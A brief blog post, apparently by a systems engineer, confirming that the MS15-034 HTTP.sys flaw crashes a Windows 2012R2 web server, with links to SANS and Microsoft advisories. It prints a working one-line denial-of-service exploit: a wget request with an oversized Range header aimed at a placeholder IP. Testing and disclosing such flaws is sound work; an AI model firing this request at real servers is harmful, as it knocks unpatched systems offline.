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Chris Hall

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Windows, Linux, Virtualisation, Unified Computing & Cloud Offerings Design Engineer.

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So I finally had a chance to test this little doozy of an issue this lunchtime. Crash a webserver by issuing a simple wget command?


Yep, I can confirm that this is a good ‘un against a Windows 2012R2 server as you can see in my screenshot above.

wget --header="Range: bytes=18-18446744073709551615" http://[ip address]/

Find out more here from the SANS Internet Storm Center here:
SANS Internet Storm Center

And here:

Microsoft MS15-034 Security Bulletin: